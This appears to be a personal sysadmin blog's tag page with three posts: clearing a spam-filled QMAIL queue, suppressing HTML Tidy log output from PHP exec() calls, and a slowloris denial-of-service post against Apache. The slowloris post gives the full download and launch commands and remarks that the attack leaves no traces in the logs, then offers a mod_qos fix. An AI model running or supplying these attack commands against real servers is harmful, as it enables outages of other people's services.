Posts Tagged ‘sourceforge’

How to clean QMAIL mail server filled Queue with spam mail messages

Friday, June 8th, 2012

Sys Admins managing QMAIL mail servers know, often it happens QMAIL queue gets filled with unwanted unsolicated SPAM e-mails due to a buggy WEB PHP / Perl mail sendingform or some other odd reason, like too many bouncing messages ,,,,

For one more time I’ve experienced the huge SPAM destined mails queue on one QMAIL running on Debian GNU / Linux.

= … Hence I needed to clean up the qmail queue. For this there is a little tool written in PERL called qmhandle

A+) Download qmhandle;

Qmhandle’s official download site is in SourceForge

I’ve made also a mirror copy of QMHandle here

qmail-server:~# cd /usr/local/src
qmail-server:/usr/local/src# wget -q http://www.pc-freak.net/files/qmhandle-1.3.2.tar.gz

B=) STOP QMAIL
As it is written in the program documentation one has to be very careful when cleaning the mail queue. Be sure to stop qmail with qmailctl or whatever script is used to shutdown any mail sever in progress operations, otherwise there is big chance the queue to mess up badly .

C#) Check extended info about the mail queue:

qmail-server:/usr/local/src/qmhandle-1.3.2# ./qmhandle -l -c
102 (10, 10/102) Return-path: anonymous@qmail-hostname.com
From: QMAIL-HOSTNAME
To: as1riscl1.spun@gmail.com
Subject: =?UTF8?B?QWNjb3VudCBpbmZvcm1hdGlvbiBmb3IgU09DQ0VSRkFNRQ==?=
Date: 1 Sep 2011 21:02:16 -0000
Size: 581 bytes
,,,,
1136 (9, 9/1136)
Return-path: werwer@qmail-hostname.com.tw
From: martin.georgiev@qmail-hostname.com
To: costador4312@ukr.net
Subject: Link Exchange Proposal / Qmail-Hostname.com
Date: Fri, 2 Sep 2011 07:58:52 +0100 (BST)
Size: 1764 bytes
,,,,....
1103 (22, 22/1103)
Return-path: anonymous@qmail-hostname.com
From: SOCCERFAME
To: alex.masdf.e.kler.1@gmail.com
Subject: =?UTF8?B?QWNjb3VudCBpbmZvcm1hdGlvbiBmb3IgU09DQ0VSRkFNRQ==?=
Date: 2 Sep 2011 00:36:11 -0000
Size: 578 bytes
,,,,,,
,,,,....
Total messages: 1500 Messages with local recipients: 0
Messages with remote recipients: 1500
Messages with bounces: 500
Messages in preprocess: 300

D-) Delete the Queue
qmail-server:/usr/local/src/qmhandle-1.3.2# ./qmHandle -D
......
......

Fina1ly launch the qmail to continue normal oper.

qmail-server:~# qmailctl start
,,,,,
..,,,

How to disable tidy HTML corrector and validator to output error and warning messages

Sunday, March 18th, 2012

I've noticed in /var/log/apache2/error.log on one of the Debian servers I manage a lot of warnings and errors produced by tidy HTML syntax checker and reformatter program.

There were actually quite plenty frequently appearing messages in the the log like:

...
To learn more about HTML Tidy see http://tidy.sourceforge.net
Please fill bug reports and queries using the "tracker" on the Tidy web site.
Additionally, questions can be sent to html-tidy@w3.org
HTML and CSS specifications are available from http://www.w3.org/
Lobby your company to join W3C, see http://www.w3.org/Consortium
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: plain text isn't allowed in <head> elements
line 1 column 1 - Info: <head> previously mentioned
line 1 column 1 - Warning: inserting implicit <body>
line 1 column 1 - Warning: inserting missing 'title' element
Info: Document content looks like HTML 3.2
4 warnings, 0 errors were found!
...

I did a quick investigation on where from this messages are logged in error.log, and discovered few .php scripts in one of the websites containing the tidy string.
I used Linux find + grep cmds find in all php files the "tidy "string, like so:

server:~# find . -iname '*.php'-exec grep -rli 'tidy' '{}' ;
find . -iname '*.php' -exec grep -rli 'tidy' '{}' ; ./new_design/modules/index.mod.php
./modules/index.mod.php
./modules/index_1.mod.php
./modules/index1.mod.php

Opening the files, with vim to check about how tidy is invoked, revealed tidy calls like:

exec('/usr/bin/tidy -e -ashtml -utf8 '.$tmp_name,$rett);

As you see the PHP programmers who wrote this website, made a bigtidy mess. Instead of using php5's tidy module, they hard coded tidy external command to be invoked via php's exec(); external tidy command invocation.
This is extremely bad practice, since it spawns the command via a pseudo limited apache shell.
I've notified about the issue, but I don't know when, the external tidy calls will be rewritten.

Until the external tidy invocations are rewritten to use the php tidy module, I decided to at least remove the tidy warnings and errors output.

To remove the warning and error messages I've changed:

exec('/usr/bin/tidy -e -ashtml -utf8 '.$tmp_name,$rett);

exec('/usr/bin/tidy --show-warnings no --show-errors no -q -e -ashtml -utf8 '.$tmp_name,$rett);

The extra switches meaning is like so:

q – instructs tidy to produce quiet output
-e – show only errors and warnings
–show warnings no && –show errors no, completely disable warnings and error output

Onwards tidy no longer logs junk messages in error.log Not logging all this useless warnings and errors has positive effect on overall server performance especially, when the scripts, running /usr/bin/tidy are called as frequently as 1000 times per sec. or more

Apache Denial of Service (DoS) attack with Slowris / Crashing Apache

Monday, February 1st, 2010

slowloris-denial-of-service-apache-logo
A friend of mine pointed me to a nice tool that is able to create a succesful denial of service to
most of the running web servers out there. The tools is called slowris
For any further information there is the following publication on ha.ckers.org about slowris
The original article of the friend of mine is located on his (mpetrov.net) person blog .
Unfortunately the post is in Bulgarian so it’s not a match for English speaking audience.
To launch the attack on Debian Linux all you need is:

# apt-get install libio-all-perl libio-socket-ssl-perl
# wget http://ha.ckers.org/slowloris/slowloris.pl
now issue the attack
# perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

There you go the Apache server is not responding, no-traces of the DoS are left on the server,
the log file is completely clear of records!
;The fix to the attack comes with installing the not so popular Apache module: mod_qos
# cd /tmp/
# wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz
# tar zxvf mod_qos-9.7.tar.gz
# cd mod_qos-9.7/apache2/
# apxs2 -i -c mod_qos.cThe module is installing to "/usr/lib/apache2/modules"All left is configuring the module
# cd /etc/apache2/mods-available/
#vim qos.load

Add the following in the file:

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

Cheers! 🙂
I should express my gratitude to Martin Petrov's blog for the great info.